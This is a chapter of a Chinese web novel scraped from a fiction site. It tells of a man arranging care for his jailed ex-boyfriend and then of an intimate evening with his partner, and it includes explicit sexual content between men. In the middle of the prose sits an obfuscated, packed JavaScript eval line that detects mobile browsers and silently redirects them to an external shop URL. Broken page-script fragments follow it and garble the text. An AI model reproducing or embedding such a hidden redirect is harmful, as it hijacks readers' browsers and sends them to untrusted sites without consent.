文趣网 > 都市小说 > 剁三刀 > 31.消食
    说实话,看到任竟成歇斯底里,陈敬喜心里也很不是滋味。

    毕竟任竟成的双亲都已不在人世,他又没什么亲戚,陈敬喜一走,就再没有人能够帮助他走出失恋的低谷了。

    他需要一个人来支撑他振作起来。

    陈敬喜自知再与任竟成纠缠只会带给他不切实际的希望,他需要远离任竟成,避一下嫌,最好是找个和任竟成没什么关系的局外人来介入他的生活,而这个局外人,还须知道些任竟成的情况,这样同他沟通起来不需要费多大气力。

    这时,他忽然想起梅方。梅方是龚述敏的朋友,私下让凌岚调查过任竟成给龚述敏写的举报信,对任竟成应该相当的了解。

    如果梅方愿意照顾任竟成就好了。

    陈敬喜如此想着,驱车又到了沿海的酒吧。

    他每次都能在那家酒吧遇见梅方,今天也不例外。

    梅方正和他的朋友玩骰子。一张卡座上落着几个摇盅,还有半桶威士忌可乐。

    陈敬喜径直坐到梅方边上,脱下西装外套,搭在靠垫上。

    他下午去过公司,身上的西装没换,里面套着一件洗得发白的方领衬衫,衬衫精致的面料托出他健美的身形,举手投足间布料的抻拉更显皮肉的紧致,把卡座另外几个男人看得眼睛都直了,就差流哈喇子了。

    梅方喝着威士忌可乐,见陈敬喜解开袖扣,恬不为意地挽起袖子露出壮实的小臂,差点把喝进嘴里的威士忌喷出来。

    “哥。”梅方小声地提醒他,“这里是gay吧。”

    陈敬喜疑惑:“所以呢?”

    “哎。”梅方不再多嘴了。

    “说起来。梅方。我有件事委托你,你能办不?我能付你钱。”

    梅方继续摇骰子,然后给摇盅拉起一条缝,瞥了眼骰子点数:“不会是叫我卖身吧?”

    “当然不是。”陈敬喜矢口否认。服务员拿来菜单,他照例点了杯低度数的金汤力,“就是之前你让凌岚查过的任竟成,你记得不?我希望你能代我照顾一下他。”

    “他怎么了?”

    “他状态不太好。”

    “就因为分手啊?”梅方紧接着冲人群中报了个数,“四个六。”

    陈敬喜感到挺不好意思的:“应该是吧……”

    “你跟他是不是断崖式分手?”

    “呃,应该?”

    “要我说,这事你有一半的责任。”梅方数落,“他能弄个一百页的信举报情敌,我就觉得他醋味挺浓,对你看得也挺重的。你冷不丁跟他分手,然后收拾走人,就是一个正常人都得发疯。”

    陈敬喜沉默了。这时金汤力上来了,他抿了口酒,欣然接受梅方的批评。

    “你说得在理。”他点头,“但我现在心思不在他,他对我有意见,我也不好再在他跟前晃。”

    “我建议你不要再跟他见面了。”梅方一边报着“开”,一边掀起摇盅亮出他的点数。

    他的玩伴们凑上前数骰子,其中一个懊恼地捋了把头发,端起酒杯就灌。

    玩到这份上,梅方还能腾出心思替陈敬喜琢磨对策,这朋友做得可谓仁至义尽了:“淡出他的生活,给他时间消化一下。”

    “我不知道他需要消化多久。他家里没人,所以我才想找你。”

    “他家里没人?”

    “他父母都已经去世了。我是他前任,也是他发小,跟他在一起有十年了。我知道,他除了我就再没有别人可以依靠了。”陈敬喜不无抱歉地解释,“而且他最近犯了事,被关进拘留所了,我去见他,被他臭骂了一顿。”

    梅方继续摇骰子:“他骂你可能是因为在乎你,碍于自尊拉不下脸来示弱。”

    “……”

    梅方又托起下巴,细品其中的门道:“拘留所啊,那是个上克下克得厉害的地方,进去的人,一般都觉得自己留污点了,这辈子完了。这时候你去见他,就算一个字不说,他也觉得你瞧不起他,本质是将自卑投射到你身上了。”

    陈敬喜没想到这一层,不得不佩服梅方明察秋毫的能力:“我觉得你比凌岚更适合当心理咨询师。”

    “废话,我本来就是。”

    “……”

    好嘛,请人帮忙请到咨询师头上了。

    梅方最后还是松了口:“我可以帮你的忙。你报个数,我看看比我工资高还是低。”

    陈敬喜迟疑,最后小公鸡点到多少就是多少:“一百万?”

    “嘿。”梅方猛得扭过头,眸中的震惊不言而喻,“你什么身家,一报就是百万起步?”

    “……”对不起,给凌岚那个一千万整出后遗症了。

    “六千。我替你照顾他一个月,他什么情况我随时向你汇报。”梅方给自己开的价就是淮海平均工资,倒是陈敬喜觉得这个价位真是不好意思,“叫任竟成是吧?哪个拘留所?我过两天跟他打个照面。”

    “北城区拘留所。”

    “行。”

    竟然梅方接受了他的请求,陈敬喜也放下心来。

    他拉了个骰盅,加入他们的游戏,一直玩到金汤力见底,看了眼时间,不早了。

    陈敬喜边穿外套边离场,掏出车钥匙,开车回梁平生家。

    这个点,吴宇大概到家了。

    陈敬喜如此想着,打开家门,果不其然,一股饭菜的香味扑面而来。

    饭厅里,梁平生正襟危坐,不过他不是在吃饭,他的膝间摊开放着一本书,在读。

    吴宇正在厨房里忙活,那一张俊脸上大写着不耐烦,跟他系粉红色围裙手握一把锅铲的样子格格不入。

    “你还知道回来啊。”贤惠的吴宇一张嘴就能呛得人半死。

    陈敬喜自知理亏,懒得跟吴宇争。

    他坐到梁平生边上,问他:“都八点半了,你还没吃饭啊?”

    “我吃过了。”分明没跟吴宇说话,他搭腔的速度倒是一流,“梁先生还没吃,说要等你回来。”

    梁平生合上书,放在一边:“行了。开饭。”

    说不上来什么滋味,一想到梁平生等他回来才开饭,陈敬喜便觉得心头一热。

    陈敬喜欣赏着满桌子的菜,不得不感慨还是吴宇厉害,上到东北的锅包肉、小鸡炖蘑菇,下到闽粤的炒空心菜、菠萝咕噜肉,他样样拿手,烧得就跟本地名厨一个味道,把陈敬喜吃得一碗饭不够,两碗饭不饱,硬是干到第三碗,吴宇一边给他添饭一边用嫌弃的眼光打量他,像是在说“你怎么跟饿死鬼投胎一样?”

    最后,心满意足的陈敬喜瘫在餐厅椅子上,打着饱嗝,动也不想动。

    吴宇给油烟机喷上清洁剂,把抹布拧成尖,压进缝隙里,用力地擦拭。

    他一边擦一边碎碎念:“陈敬喜,我就想问了,没我在,你们俩连热水壶的包装都不拆一下是吧?”

    “热水壶?哦。好像是有个热水壶,我网购到了。”陈敬喜吃饱饭脑子也转不动了。

    他绞尽脑汁去想,才想到跟马眼棒一起拿上来的热水壶。当时只顾着马眼棒了,哪还记得什么热水壶啊,跟梁平生纵情完就更想不到了,索性包装没拆,放在岛台上。

    梁平生么,眼瞎的,放一年估计都看不见。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746333|206340||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    所以吴宇今天一来就看到没拆的热水壶。

    “你拆了没?”陈敬喜问。

    吴宇的沉默比沉默更沉默:“……”

    “好用不?我刚买的。”陈敬喜去漱了个口,活动了下筋骨。

    余光又见吃完饭的梁平生坐回了他的懒人沙发。

    也不知道梁平生什么时候把他的懒人沙发搬进卧室的,是因为吴宇么?

    “不好用。你现在就给我退了。”吴宇回。

    “真假的?我烧烧看。”陈敬喜钻进厨房。

    他一米七六的个子,在近乎一米九的吴宇面前活像个小矮人,偏偏他还爱钻人胳肢窝,脑袋一凑过来,吴宇差点顺手当油烟机擦了。

    吴宇:“……你能滚不?”

    陈敬喜往热水壶里注满生水,开始烧。

    “行,我滚了。”

    趁水还在烧,陈敬喜圆润地滚进卧房,去找梁平生。

    梁平生仍然膝间一本书,朝着霓虹璀璨的淮海,气质深沉犹如广袤的大地。

    陈敬喜按住他的大腿,把他苦苦经营出来的心流击了个粉碎。

    “梁平生,我现在已经学成盲文了,你要不要考考我?”

    他大咧咧坐在沙发扶手上,正好偎在梁平生宽阔的肩膀上。

    陈敬喜搜到公文包里的便签和圆珠笔,递过去:“你随便写点什么。我来认。”

    要说梁平生的手还是那么好看,尤其是握笔时,拇指与食指稍稍发力,指骨便凸起一小节,拉出手背清晰的筋。

    游走的笔尖牵动手背的筋,时而凸起,时而凹陷,无异于活塞运动,把陈敬喜看得入了迷。

    陈敬喜不自觉吞了口唾沫。

    “写好了。”

    梁平生归还纸和笔的时候,陈敬喜还心猿意马着。

    “哦,写好了是吧……”

    他接过梁平生写的便签,擦亮了眼,努力辨认。

    好嘛,连梁平生画的点都跟他本人似的秀色可餐。

    陈敬喜觉得自己真是快疯了。

    他什么都看不进去。

    光是觉得那几个点扭得像蝌蚪,钻得他心痒痒。

    他辨认了足足五分钟,才不确定地报出上面写的内容:“我,爱,你?”

    “……”

    陈敬喜后知后觉他念了什么。

    这会儿蝌蚪真的把他心脏钻透了。

    他反身一骑,骑到梁平生腿上,捧着他的脸,吻了下去。

    卧房里落针能闻,喘息交织而淋漓,似一杯被打翻的葡萄酒,醇厚的酒液渗透了提花。

    陈敬喜摸到梁平生的手,交叠,相扣,深入指与指的缝隙,传递着滚烫的温度。

    他引领着他,步入岔路口,任由男人粗粝的指腹读盲书似的摩挲,然后吐出一口压抑已久的叹息。

    意识飞升之际,见梁平生再次揭下词人墨客的面具,露出市侩人的狡黠笑容。

    “吃太饱了,想消食吗?”

    “想。”

    梁平生提起他的臀,几步将他放倒在床上。

    然后打开抽屉,取出上次被任竟成拆过的、尚未使用的避孕套。

    陈敬喜的胸膛剧烈地起伏了一下:“今天要用那个?”

    “先不用。”梁平生抽开皮带,温柔地扶在陈敬喜的脑后,“你先帮我吃——”

    啪。

    话音未落,房门被重重推开。

    一阵冷风灌了进来,陈敬喜觉得梁平生整个人都抖了一下。

    吴宇探进半身冲里面喊:“梁先生,储物间的书能不能挪一下?我要打扫。”